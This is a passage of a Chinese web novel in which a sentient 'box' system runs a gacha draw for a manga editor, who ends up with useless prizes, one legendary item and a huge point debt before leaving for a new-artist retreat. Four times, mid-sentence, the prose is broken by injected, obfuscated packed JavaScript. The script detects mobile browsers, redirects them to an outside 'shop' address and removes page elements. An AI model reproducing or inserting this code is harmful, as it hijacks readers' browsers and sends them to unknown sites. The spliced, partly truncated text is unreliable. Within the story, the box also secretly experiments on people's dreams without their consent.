【概率就是这样了,】匣子问,【有意见吗?】 【可以。】 黑野编辑语气微妙地说,【很公平。】 匣子满意于自己在常规奖品池中加入了无用和负面奖品的神来一笔,既满足了黑野编辑对游戏平衡性的需求,又因为极低的负面奖品概率,不会影响大局。 它这次不加掩饰地发问,【单抽还是十连?】 【十连。】黑野编辑打算速战速决,早点睡觉。 于是,匣子开始播放抽卡动画。 ——抽卡怎么能没有特效助兴呢? 匣子周身流光溢彩,匣身膨胀,不断剧烈震动。 就在黑野编辑要询问它是不是出故障要爆炸了的时候,匣盖突然打开,十道笼罩着雾气的光球从中飞出,落到黑野编辑眼前。 第一团雾气唰唰唰散开,露出了裹在其中的……透明光球。 【无色奖品,】匣子大肆嘲笑,【看来你的运气不太好啊!】 黑野编辑不以为忤,伸手去触碰那个光球。 光球像泡沫般短暂地散开,露出其中的奖品和文字说明。 奖品名称:一捧来自深山老林的清新空气。 奖品等级:无用。 奖品说明:人类最珍贵也最离不开的物品,请好好珍惜。 【都说了是无用奖品了,当然不能指望它有什么大用,】匣子理直气壮地说,【好歹我还在设置奖品时还给它添加了点奢侈品属性呢。】 【倒也不是完全没用。】黑野编辑心想,【下次在哪个漫画世界里掉进海中的时候,没准还能拿出来应急救人。】 他让匣子帮忙将奖品收起来。 【你喜欢就好。】匣子突然也蛮高兴的。 第二团雾气也散开了,里面裹着的依旧是个透明光球。 奖品名称:匣子的感激。 奖品等级:无用。 奖品说明:匣子和宿主的情谊是无价的,请好好珍惜。 黑野编辑接连抽到无用级别的奖品,让匣子都有些不忍心嘲笑,甚至有点过意不去了。 全是无用奖品,也显得它这个发奖人小气又寒碜——明明它安排了那么多好奖品,怎么都不出来露露脸?哪怕出个蓝色奖品都好哇。 匣子十分担心黑野编辑对整个卡池的观感要被初见印象给毁了。 它觉得有必要说点什么,但是眼前的奖品实在没有什么可以补充说明的余地,【呃……谢谢?】 【不客气。】黑野编辑的心情听上去依旧很愉快。他唯一的疑惑是,【这种一个个拆开的开奖方式,十连和单抽有什么区别?】 当然要这样慢慢来,匣子暗暗想。 奖品还未揭晓前的那种极度期待、忐忑和兴奋的心情,才是抽卡的精髓啊。 又两抽后,它不这么想了。 它现在只想立刻戳开所有的迷雾,将所有光球颜色看个清清楚楚——我那些正常的奖品呢? 还好黑野编辑应该从最初就没期待过什么奖品,对满心期待的玩家来说,这场抽卡简直就是场惩罚游戏。 整整齐齐的四个无色光球摆在匣子的面前,像是一排无声的嘲笑的回旋镖。 它们分别装着来自深山老林的清新空气,来自南国海岸的湿润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006402|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气,匣子的感激,和谢谢惠顾。 奖品名称:谢谢惠顾。 奖品等级:无用。 奖品说明:顾客和店员间的默契。当你在瓶盖上看见它时,具体意味着什么,请不要戳穿。 这个奖品甚至比匣子的感激还要让匣子尴尬了。 匣子反复检查了一下自己的抽卡机,确认代码没出什么问题。而且,黑野编辑也神色如常。 ——就好像他没反应过来,连出四个10%概率的无色奖品的概率是万分之一,这可是万里挑一的霉运啊。 匣子小心翼翼地问,【其实,你是不是运气很差?】 【不。】黑野编辑认真地回答,【我一向都觉得自己运气特别好。】 他是有依据的,【我身体健康,有幸福的家庭,有满意的职业,有一份不算微薄的收入和值得为之努力的事业,在一定程度上能掌控自己的命运。如果连这样都不算运气好的话,那什么算是运气好?】 匣子扫描一下黑野编辑的腿,对身体健康这点暂时保留怀疑,但这个说法大体上是没有问题的。 【一般人可都不是这么想的,】匣子对人类文化也有自己的了解渠道,【大多数人不管日子过得有多好,只要遇到一点小小的挫折,就会觉得自己比所有人都不幸。】 那是别人。 黑野编辑心想,【就连可能成为毁灭世界凶器的匣子,都没有去找其他人,而是找上了我,这可真是太好运了。】 他没有松开匣子,这一句是无意识的心声流露。 匣子突然变得心情特别好,重整精神,【继续吧!】 情况果然在好转,接下来的竟然不再是无用奖品,而是75%概率的白色普通奖品。 这简单的转变,也让匣子看到了希望——这就是神州人的否极泰来吗?它坚信形势好起来了!从万分之一的霉运到75%的平淡,只要运势像这样一路飙升下去,大奖就在眼前! 奖品名称:一管口红。 奖品等级:普通。 奖品说明:给你好气色,给你好心情。记得要用哦。 【也不算用不着,】匣子武断地替黑野编辑做决定,【我帮你收着,以后有变装的需要时,能用!】 黑野编辑并不期望有这个需要的未来。 虽然形势好起来了,但也没好太多。 接下来黑野编辑又接连得到了两件白色级别的普通奖品。 分别是一提抽纸纸巾和一把剃须刀。 匣子都要开始自我怀疑了,【我是去超市进货了吗?】 它晃荡一下自己,怀疑之前封装进奖池的好东西是不是都还在里面。 但是在开奖完成之前,提前拆箱有舞弊的嫌疑。 它只能对着“运气特别好”的黑野编辑保证,【我可以发誓,这个结果不是我故意操作的。】 故意操作成这个结果也太傻了,【我绝对没有玩弄概率!】 黑野编辑倒是对奖品都挺满意的,【很有商店街的抽奖风格。】 他甚至开始许愿,【家里的冰箱里鸡蛋快用完了。】 ……行吧。 匣子已经不由自主地对着第八个光球默念了。 希望下个奖品好点,要还是普通奖品的话,至少要是鸡蛋。 雾气散去,居然是个蓝色的光球,稀有奖品。 匣子高兴得快要蹦起来,它已经感觉到了,抽卡玩的好像不是黑野编辑的心跳,而是自己的芯跳。 44.再也不抽奖了 奖品名称:普通小刀。 奖品等级:稀有。 奖品说明:一把普通的制式小刀。 明明是稀有级别的奖品,但普通这个词语在名称和说明里连续出现了两次。 看起来像极了滥竽充数的产品。 匣子现在就是很后悔。 之前默默给这个抽奖机还有奖品编程时,它想象出来的应用场景不是这样的。在它的想象中,黑野编辑经历了几次抽取到75%概率白色奖品的打击,甚至可能还抽取到一次10%概率的无色奖品后,终于幸运地抽中了10%概率的稀有奖品。 黑野编辑满怀期待地打开奖品,却发现奖品看起来如此普通,再经历一次更大的打击,那剧情该多么地跌宕起伏、令匣子心情愉快啊。 可以说,它勉强算中了三连白色奖品接一个蓝色奖品的平凡抽奖过程。 但它没有算中之前那令人发指的万分之一概率的无色奖品四连发。 当事情过于荒诞时,顾客只会发笑。 而急于证明自己的商家,才会先是满怀期待,然后惨遭由自己事先设计好的重大打击。 尴尬归尴尬,匣子还是得按照预先的安排,给出解释,【先前那些白色级别的普通奖品,都是真正的普通物品,你可以在现实世界里使用,也可以带去那些设定能兼容其存在的小世界里使用。】 【但如果小世界本身的设定与其产生冲突,就带不进去了。】 黑野编辑能够理解,他也不是很愿意看到有古人角色在古平安京时代里使用剃须刀的场景出现。 【不要看你之前影响剧情都还算顺利,】匣子给出提醒,【那是因为前两个世界里,东云茜已经失去了掌控作品的信心,户田女士也不是最初的原创作者,你有很多增加设定的余地,也能左右佐伯雄那种性格不太强势的人物角色的想法。】 匣子叹气,它一直很遗憾,在这么方便乱动设定的世界里,黑野编辑都没有使用它提供的华丽人设方案大闹一场。 【以后要是进入了其他世界,遭遇到创作者的排斥,你可能连自己的身份、携带物品都不能自主决定。】它又骄傲起来,【到时候,没有我的支持的话,你可就寸步难行了。】 【不要看这把小刀普普通通,但可是我消耗能量特制的,不管你带去哪个世界里,都能够顺利带进去,顺顺当当地使用。】 匣子顺便推销一句,【我劝你最好也早点开启积分系统,多做任务攒点积分。到那种时候,你就真的只能靠积分来兑换日常物品了。】 黑野编辑认同了匣子的提醒,《夜樱》和《病人守则》都是与现实世界极其相像的小世界,处于现代社会都市背景下,自己进入小世界后,几乎不需要花费心思来适应环境,解决生存问题。 但如果未来进入了科幻、历史、幻想等不同类型的世界,置身于完全不同的文化环境中,不仅生活条件可能受限,执行任务的难度也会变高,自己应该早做心理准备。 不过,有选择的话,他还是更喜欢自食其力。 黑野编辑感到有些疑惑,他其实是在用正常的态度对待合作伙伴,在有需要的时候从不抗拒请求援助。这几天下来,他请求匣子帮忙的次数其实也不少了。 包括让匣子开启通道、剥离特殊污染源、记录和发布《病人守则》内容、递交信件等等。 为何匣子好像一直耿耿于怀,觉得自己不看重他的样子? 他的思考这次也没有回避匣子。 但匣子不打算回答。 那是因为,匣子一直都还没有放弃那个看到黑野编辑的追统火葬场的梦想呀。 而且它认定自己被分配到的要么是剥离污染源之类的自己必须干的活,要么就都是些杂活,前者反而让它感觉自己被照顾了,后者则全都凸显不出来自己的重要性和华丽风采,黑野编辑甚至没有说过一句“求求你了,没有你是不行的”这种话,这怎么能让它服气! 黑野编辑收下了匣子精心设计的普通小刀。 他看得出匣子现在对抽奖整件事都有些沮丧了,安慰道,【没事,继续。】 匣子已经很后悔,事先没有提出设置保底了。 它吸收了无数游戏策划运营的经验,原本还计划等黑野编辑上瘾后,先吊他一阵子,再将大保底小保底作为福利机制,分期推出,狠狠冲几波新业绩呢。 结果看来,这个抽卡游戏可能活不到运营后期了。 现在匣子只恨在一开始没做新手十连福利——虽说就算它做了这个等同于直接赠送大奖的机制,在游戏开始前,大概率也会被黑野编辑直接否决,但是,万一呢? 保底。保底。保底。为什么我最初没有加保底? 仿佛是呼应了它的心愿,第九个光球的雾气缓缓散开,露出了其中令它望眼欲穿的真容——是金色传说! 【我就知道!我就知道!】匣子差点蹦到了黑野编辑的脑袋上,痛快得想要原地跳舞,【我就知道我没有忘记将大奖放进奖池里!】 【快开,快开,快开给我看!】 黑野编辑也有些讶异,伸出手去。 奖品名称:意念传真机。 奖品等级:传说。 奖品说明:顾名思义,是用意、念、作、画的伟大机器!沿袭了匣子优良读心能力的跨时代产品!但只能读出漫画相关内容!漫画家还在用双手骨折和腰疼作为偷懒拖稿的借口吗?痛快地逮捕他,并使用它吧!坑王没有隐私权可言! 不愧是金色级别的传说奖品,连抽奖机自动生成的说明书都比其他道具长,解说风格也如匣子本匣那般慷慨激昂。 这毫无疑问是好东西,在金色传说这个档次的奖池里,都算得上是头奖之一了。和在那些小世界的冒险没什么关系,是完完全全为编辑这份工作而准备的纯奖励性物品。 对漫画从业者来说,它可谓是当之无愧的传说级别神器。 匣子对这个产品设计也相当自豪,这不,连说明内容都放飞自我,敢拿先前闹过不愉快的读心和隐私话题开玩笑了。 黑野编辑果然很高兴。隐私权是个问题,而只能读出漫画相关内容又很好地限制了这一点。 画漫画和语言交流都是在表达自我,思维链接只是另一种形式。说白了,这就是一个超越现实科技的辅助作画工具罢了。 他会准备合理的能被漫画家所接受的隐私条款协议。 在心愿得偿后,匣子模拟商人的阴险狡诈本性又重占上风。 它想起来,自己原本没打算让黑野编辑这么快抽出金卡的。 就算要补偿心理落差,它亲自来设置保底的话,放个紫色级别的珍贵奖品也就差不多了。一口气用金色传说奖品将玩家的心理阈值抬得太高,也不利于卡池的后续运营呀。下次黑野编辑再抽到紫色奖品,肯定没有那么高兴了。 不过,想想前面那连续四个无色奖品,匣子又觉得,算了算了,就这样吧。 匣子已经意识到了,抽卡时的心理预期是个变化很快的动态过程——4.5%和0.48%的概率差别也不大,区区十倍嘛,黑野编辑下次再见到金卡,肯定也得过十几张甚至几十张紫卡之后了。心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014754|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理阈值就是这样慢慢调回来的。 匣子重拾乐观的信心,感觉自己和卡池的未来都前景光明,【我就说卡池里还有好东西的!】 【还剩最后一抽,动手吧。】 已经见到了金色传说,匣子对最后一抽的心态就很随意了。 大概率还是个白色,就算是无色或蓝色,也都影响不了大局。——总不至于是十连双黄吧? 笼罩在最后一个光球上的雾气也终于消散,露出了其与众不同的成色。 漆黑如墨。 是概率与那铂金级别的梦幻大奖等同的,0.01%的大失败。 今天第二次出现的,万里挑一的霉运。 一阵莫名的受骗般的愤怒涌上来,匣子忍不住对着黑野编辑发出控诉,【你根本就是个超级大倒霉蛋!】 黑野编辑不这么认为。 眼前十个光球整整齐齐地摆开,从左到右依次是四个10%的无色,三个75%的白色,一个10%的蓝色,一个0.48%的金色,一个0.01%的黑色。 忽略掉奖品的整体价值,仅从排列顺利来看的话,是有一定规律的。 同色个数是递减的。除掉左边四个外的稀有度是递增的。除掉右一的话在价值上是递增的。左四和右一在获得概率上还是对称的。 这在数学上十分符合他的审美。 所以,他觉得自己的运气的确不错。 【不行!】 匣子可是知道自己实打实往奖池里塞了惩罚的。 什么见鬼的神来之笔?当时逞一时之气,现在无颜面对宿主,全都搞砸了! 它试图挽回一下,【我要撤回这次……】 黑野编辑已经伸手摸到了那个黑色光球。 奖品名称:扣分卡。 奖品等级:诅咒。 奖品说明:倒扣五十万积分。在还清债务前,请脚踏实地地努力工作吧。 匣子深深地完成了一次空气循环。 它发誓,再也不要搞什么抽奖游戏了! 首先,要庆幸黑野编辑没抽中什么健康惩罚或是小黑屋待遇,那可真是要让匣子无地自容了。 但抽卡抽成了穷光蛋也挺过分的?它自问。 不不不,这种事在社会上似乎也不少见,匣子安慰自己,只不过通常不是以这么直白的形式达成而已。就是倒扣的金额是不是有点多了?比起长期还债,大多数人可能都更愿意接受临时体罚。 等等,匣子顿住了,这可是个让自己和黑野编辑高强度绑定的大好机会。 它的心思在“宿主不会以为我是个不择手段骗他打工的阴险狡诈统吧”和“这可是你自己抽的”两种想法中摇摆不定,错过了发言的最佳时机。 【可以,我接受。】不等匣子表态,黑野编辑已经自行消化完这次抽奖结果。赌博破产的遭遇对他来说也挺新鲜的,他过去可从来没有机会体验。 匣子总觉得不安,试探着问,【……你没生气吧?】 黑野编辑反问,【为什么要生气?】 他想了想,【你做手脚了吗?】 【没有!】匣子立刻否认,这回它真的是清白的! 【那就行。】黑野编辑下结论。其实他不是很明白,为什么合作伙伴老是担心要散伙。要是能让对方感觉安心的话,他退让一点也无妨。 他拍拍匣子,示意对方关掉夜灯。 【好了,睡觉吧。】 自己根本就不需要睡觉。匣子闷闷地想。 不知道为什么,它觉得自己不舒服极了。 45.售后服务 匣子觉得很后悔。 那天就不该同意那个抽奖结果,导致现在匣子总感觉亏欠了黑野编辑什么,每天都觉得浑身不得劲。 它当初强行给黑野编辑塞抽奖券,明明是为了回报黑野编辑没有计较它在《病人守则》世界里中途掉线的大度,还想要展现自己的用处呀! 当然,设计奖池上,它是有一点玩弄人类心理的坏心眼,但不多,绝对是以报恩(和炫耀能力)为主导的! 怎么搞成现在这样了呢? 黑野编辑并未将匣子的异常情绪放在心上,哪怕背了巨额的积分债,日子看起来也照常过。 他偶尔看一眼终于开始累积进度的积分条,还会宽慰匣子,等自己出院后,工作回到正轨上,赚积分的速度就会快多了。 匣子兴致不高地回答,【哦。】 随便播报一声,【今日签到已完成,已连续完成签到1天,奖励积分200。】 它在积分系统里增加了很多这种能轻易完成的日常打卡任务,来应对这次负债造成的反向通货膨胀。 过一会儿又播报,【今日与人交谈数量达到10句,已完成日常任务:编辑的人际关系(初级),奖励积分100。】 黑野编辑不得不中断和护士的交流,闭了闭眼,【可以关掉广播吗?】 【已设置积分提示静音。】匣子顺便消音了一条播报:初次解锁系统新功能成功,奖励积分500。 黑野编辑对实物奖励的兴趣比新的积分制度要稍稍大点。 匣子帮忙提供了奖品储存功能,他还特意让匣子将奖品拿出来看了看。 口红是黑野编辑难得的知识盲区。 而剃须刀和抽纸纸巾他都是认识的,实物看上去和现实世界里的没什么不同,只是没有现实世界里的商标品牌。 黑野编辑抽样检验了一下,就抽纸巾来说,质量不错,耐水耐湿,应该算是高等品质了。 【我可不会像商店街那样小气!】匣子还惦记着黑野编辑的评价,【那些抽奖的奖品都是清仓的滞销货来着,怎么可能和我比!】 虽说没有商标品牌,但出于谨慎,黑野编辑还是确认了一句,【这些物资不是从其他什么地方借用挪来的吧?】 毕竟匣子的道德观和人类有很大偏差,第一未必理解偷盗的性质,第二对无主物品的判断也可能与人类不一样。 黑野编辑不希望这里面有什么误会。 【当然不是,】匣子答得很随意,【是我自己造的。】 【以你们人类的工业水平,要仿造你们的产品很容易。】 黑野编辑的思绪在专利法上简单飘了一下,就将此事放过去了。 此事太难深究。 而且,这些奖品只是自用的话,不销售不牟利不破坏市场,应该问题不大。 除非之后抽到一仓库的日用品,否则就不用考虑这方面的影响。 ……应该不会抽到吧? 下次鹰之助再来医院的时候,等他汇报完工作,黑野编辑在自己新得到的奖品里挑了挑,递出那个剃须刀,“送给你。” 物品并不贵重,应该不算唐突。 本是无意之举,但鹰之助的态度说得上是惊喜交加,郑重地确认,“可以吗?您认可我了吗?” 黑野编辑只好勉励年轻人几句,走完这套社交礼仪流程。 对于自身出品的奖品被转赠,匣子没什么情绪,继续静音播报,为这场鼓励下属的职场社交给出了相应的编辑职业奖励加分。 看到鹰之助收下那份礼物时,黑野编辑暗暗有些高兴,他自身并不具备制造实物的能力,匣子应当是客观存在的。 要是匣子听到了这条心声,应该会大声抗议【我可不是什么你想象中的朋友】,匣子没听到。 匣子搞不懂这个作为自己宿主的人类。 甚至有越来越搞不懂的趋势。 从暮春到初夏,等到黑野编辑出了院,又恢复了正常的居家办公,直到春迁候鸟在宅屋外的树枝上唱起了歌,匣子还是不明白。 这天,鹰之助早早来到黑野编辑家。因为来得比约定时间早了整整四十分钟,他停了车后不急着敲门,直接绕去了屋后。那里的花草在这段时期里有失照料,鹰之助每次来都会顺路去浇水。 匣子知道鹰之助来了,它懒得搭理外人,正百无聊赖地监测着黑野编辑的心跳和体温。 虽说宿主的骨折和肺炎都好了,但匣子还是深深地为人类的脆弱性而操心。黑野编辑坚持声称有正常人的体魄就足够了,拒绝了匣子的体质改造建议。 匣子空有一身本事却使不出来,只能充当最傻瓜式的服药提醒器、测温计和计时器。 黑野编辑此刻还在沉睡,心跳平稳,呼吸规律。 他的眼镜被折叠好放在了床边。展现在匣子面前的,是一张毫无遮挡的脸。 根据匣子对人类的数据评估,这份颜值已经高到会给脸的主人制造麻烦,当然也能带来一些机遇。不过,拥有者本人对这张脸没有得意也没有厌烦,确切地说,是不怎么上心,日常里就是戴一副眼镜了事。 匣子没有人类那么多麻烦的情感,它在视域中看着黑野编辑的睡脸,还在想那个百思不得其解的问题。 一般人抽中巨额负债会是这样坦然的反应吗? 这些天里,匣子瞒着黑野编辑偷偷找一些人类做了实验。 当然,它考虑到并迁就了黑野编辑的道德要求。不过是抽样随机选取了各种人类,在他们的梦里做行为模拟实验而已,等他们醒来就会忘掉,不会对现实世界造成什么影响。 大多数人类面对当初黑野编辑那个抽卡结果,在前期都会产生低落沮丧甚至愤怒的心态,抽到金色传说后会迅速转变为兴奋和自信。 有些人稳重点,有些人激动点,但总体曲线都差不多,不过是起伏程度不同。 这个曲线在黑野编辑身上几乎没有体现。 最后那个大失败则是个分歧点。 一部分人会在极度的愤怒或恐惧中,试图扯皮赖账,咬死不认,找各种理由要求撤销抽卡结果,甚至自称是未成年人,要求系统退钱。 另一部分人会痛苦绝望,然后得知系统能给出接近无限的赊账额度——这个诱饵匣子是一直向黑野编辑明示的,他们会重新投入赌局中,试图靠未来的一次好运来还清债务。甚至还有人自以为找到了系统漏洞,干脆对负债视而不见,自顾自地继续抽卡享乐。 极少数人能像黑野编辑这样冷静地认赌服输,而之后拒绝再来一盘的人更是少之又少。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027257|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 匣子对这些精选出来的重点对象进行了专访,从这种行为表现和黑野编辑极为类似的人这里,得到的答案是:这种人平时根本就不会抽卡——只不过进入梦境的时候,匣子没有给他们选择机会。 难道说,真的都怪自己? 不。 匣子再次回忆那天黑野编辑的表现,产生了新的问题,为什么那时黑野编辑会答应在自己这里抽卡? 匣子帮黑野编辑算过,五十万积分,大概就是认认真真做满一年日常任务能攒到的积分值。黑野编辑竟然都没什么异议,仿佛有的是用这种无所谓的态度去应对噩运的底气。 匣子一方面有些暗喜,因为在最早得知黑野编辑打算辞职回国的时候,它就补充了背景调查,知道编辑和社长谈妥的留下来帮忙的过渡期限是三四个月,他这是打算为了自己多留大半年了。 另一方面又觉得胜之不武。匣子原本不是个很有道德感的匣子,若是换个人类对象,别说强加负债了,就算施加强制惩罚它也毫无负罪感。但或许是在几次斗智斗勇下,对黑野编辑的逆反心理上来了。 现在,比起当催债鬼,它还是更想当被人哄着追捧的慈善家。 匣子想办法将那个讨厌的还债进度条解决了大半。它挂了个价值30万积分的任务——升级绑定契约。然后靠着软磨硬泡,胡搅蛮缠,又和黑野编辑对条款进行了反复协商后,终于将这件一直挂芯的事情给落实了。 剩下还有20万欠款,但它胸有成竹,感觉在自己的英明指导下,黑野编辑填平债务也指日可待了。 屋外传来候鸟的叫声,黑野编辑的身体动了下,微微睁开了眼。 放空的匣子立刻打起精神,【早上好,现在是上午7:22。】 黑野编辑立刻知道自己今天起得迟了。 这都得怪匣子。它大概是发觉了黑野编辑在入睡前比较好说话,挑准了这种时间发起游说进攻,昨晚才和他定下了契约,又弄到他比较晚睡。 新的契约自然也要照顾黑野编辑的隐私权。 对黑野编辑来说,唯一的变化就是,匣子将本体化作了黑野编辑身体的一部分——确切地说,是压缩成了黑野编辑掌心里的一颗实体的痣。 之后黑野编辑想要和匣子交流的时候,不用再闭上眼睛,只要触摸手心就可以了。 黑野编辑认可这个功能上的进化,除此之外,他感受不到有什么改变。但匣子坚持说,这是非常重要的契约,能够保证他俩之后不会再被类似上次《病人守则》的事情给分开了。 变成痣的匣子还能叫匣子吗? 还能。 因为哪怕本体改变了形态,它也习惯在黑野编辑的眼前播放匣子形象的动画,用来展现自己的情绪。哪怕黑野编辑对此兴趣不大,也没有进一步进修匣语的意愿。 虽然起迟了,但还好没睡过头——匣子是有分寸的,不会让这种事情发生。 它知道黑野编辑在乎这个。 因为今天是有工作的日子。 匣子用一句【鹰之助带了早餐】,拦住了黑野编辑去厨房的脚步。 他快速地洗漱穿衣,整理仪表,然后走向玄关。 鹰之助进门来,惊喜地报告,“黑野老师,有燕子来你家屋檐下做了窝!” 46.今日出发 是家燕,黑野编辑在上周五就知道了。 编辑向新人颔首打招呼,见到对方手上提了两袋早餐,知道他也还没吃早饭,就侧过身,放他进门。 鹰之助毫不见外地进门,换鞋,进屋里将早餐摆在桌上。 早餐是他在路上从街角咖啡店买的饭团咖啡套装。年轻人喜欢尝鲜,自家周边的餐饮店都探索过了,最近会在来黑野编辑家的时候,将编辑家周边的店也试一轮,还问过编辑喜欢哪家店。 在鹰之助发问之前,黑野编辑都不知道自己家附近开着这么多餐饮店。 虽然不习惯,但他对年轻人的生活方式也没有意见。 黑野编辑知道年轻人喜欢尝试不同的口味,在鹰之助再次对他提出“可以交换一下吗”的请求前,已经从橱柜里拿了餐具和杯子过来,方便将两份套餐分开,两人各分一半。 4个不同口味的饭团可以切成8片。2杯咖啡分成4个半杯。 黑野编辑家里只有透明玻璃杯,在他倒咖啡的时候鹰之助“咦”了一声。 等编辑将盘子递过来时,鹰之助以体育生特有的比脑子转得更快的反应速度,伸手抓住编辑还未收回去的手,用手指指节在其手掌心里刮了一下。 “擦不掉?是墨点吗?”他热心地说,“我去找湿毛巾来。” 【他轻薄我!】匣子震惊地控诉。 黑野编辑认为匣子太多心了。 鹰之助根本不知道它的存在,怎么能算欺负它。 “不用。”他说,“大概是新长的痣。” “啊,要处理掉吗?”鹰之助说,“握笔的时候会摩擦到吧?长在这种地方的痣容易恶变。” 【我讨厌他!】匣子立刻作出判断。 然而在黑野编辑看来,这是正常的建议。 “暂时不用。”他回答道,“先观察一段时间。” 匣子气得不吭声了。 黑野编辑觉得今天的早餐份量不对。对体育生来说,这种咖啡店为上班族打造的经典套餐,正常的一份早餐量肯定是不够的。 他转头看了下时钟,7:38分,离出发还有一点时间。 黑野编辑起身回到厨房里,切了几片面包,拌匀蛋液抹上,很快就烤好了端出来。 鹰之助惊喜地问,“黑野老师您会做饭吗?” 黑野编辑认为这种简单的处理还算不上是做饭。 不过,他点了点头。 他会。 这甚至还不只是从神州带来的传统本能手艺,他来樱岛后也学过这边的烹饪方式。 “以前带过美食漫画的漫画家,跟着上过一段时间的烹饪课。” “啊?那我也要去学学看吗?”鹰之助的眼睛亮了。 “不用。”黑野编辑给出最后的结论,“美食漫画其实和真正的烹饪没有关系。” 本质上是另一种表现形式的战斗番,最后靠超能力、菜肴制作过程的夸张程度、情感羁绊来取胜。 在漫画里,只要将菜肴成品画得好看,食用者的反应画得激烈,基本上没有哪个读者会去较真菜谱是否真的管用。 “不过,”黑野编辑想起了某个美食漫画里的设定,“你应该很适合学习做糕点。你的手掌温度很高,能辅助面团发酵。”[注] “噢!啊?”鹰之助先是高兴地接受夸赞,然后疑惑地搓了下自己的手,心想编辑什么时候知道的,终于想起来刚才的事,脸突然红了,反应过来自己的行为其实很唐突,“哇!” 他一下子不知道将手怎么摆了,“非常抱歉刚刚冒犯了您……” 黑野编辑并非故意敲打,他早就习惯了鹰之助冒失的行为习惯,只是想到就正好提出来了。 “没事,我没放在心上。” 鹰之助看起来很沮丧,之后一整顿早餐都保持着沉默,低着头匆匆将食物全填到胃里,帮忙收拾好餐盘和垃圾,赶紧跑出门去开车。 不过助手将早餐都吃完了,在黑野编辑看来,这就没什么问题。 黑野编辑昨晚已经收拾好了行李,现在只用推出来就好。鹰之助帮忙将其放到了货箱里。 他们接下来要出差整整一周。 是黑野社每年举办的新人漫画家研讨营。 新人赏的入围者都可以参加为期一周的集中研讨活动,除了漫画方面的研讨交流外,还有温泉体验、小镇采风、登山观景等一系列团建活动。 这既是帮助新人漫画家快速与编辑熟悉起来,在同期间建立友情,也是在地狱般的连载生活开始前,给新人漫画家们一个放松身心,甚至锻炼身体的机会。 这最早还是黑野编辑提出来的,认为在正式入行前为新人漫画家提供这样的机会,能帮助他们尽快在交流中认清自己的天赋,也能帮助他们提升在未来继续坚持做这个职业的韧性。 入营名额,在名义上是以新人赏入围的奖励,向各位准漫画家提供的。 不过黑野编辑过去没有参加过这个活动。他一向带的是那些比较棘手的麻烦漫画家,都是已经被其他编辑筛选过的,才会转到他这里来。 今年他终于有机会来带新人,才第一次参加这个活动。 第一站是黑野杂志社总部大楼。初次见面的新人们会在这里集合。 这里在过去,是黑野编辑很多年来每天准时上班打卡的地方,可能比家还要熟悉。 如今有一两个月没有踏足,他竟然觉得环境有些陌生,门口的盆栽好像都换过了。 刚走进一楼大堂,黑野编辑就看见了那些新面孔们。 对新人漫画家们的前期联系工作,都是交给鹰之助去执行的。但黑野编辑对这次新人赏入围者的名单也是了熟于心,虽然不像鹰之助那样有过直接的电话联系或上门沟通,可他看一眼厅里的那些新面孔,差不多也能将其和资料一一对应起来。 不是所有入围者都会请假来参加这场在工作周举办的活动。 按照人员名单,报名人数共有10人。 现在大堂里站着五女四男。 还有一个人没到。 那五位女性新人们似乎已经自行完成破冰,正聚在一起快乐地讨论着什么,不时传来笑语声。哪怕她们的年龄相差明显比较大,也聊得很愉快。 而剩下的四位男性新人,则各自符合各自的刻板印象,都独自占据了自己的位置,还未建立起相互间的交流。 一位带着公务包的男性,看起来像是走错了上班地点的职业精英,正坐在沙发上对着自己的笔记本电脑敲敲打打。 一位双手插兜的青年,神色有些倨傲,独自站在大堂中间,仰着头发呆。 一位体型瘦小的宅男,穿着运动裤和连帽衫,坐在沙发的另一头,不时看看女性们的聊天,又转头看看其他的同伴,一副很想要和别人搭话,但是又没法打开突破口的模样。 另一位气质和他相似,却穿着更传统朴素服饰的,是黑野编辑之前就打过交道的新人。 东云茜原本有些拘谨地坐在大堂里等待,一看见黑野编辑和鹰之助进来,就双眼一亮,起身想要过来打招呼。 但是比他更快的是那位原本站在大堂正中间的青年。青年大步流星地走来,手也从兜里抽出来,向黑野编辑眼前一伸,“斗沢封真。《人间界革命》的作者。” 黑野编辑对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036467|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这部作品有印象。 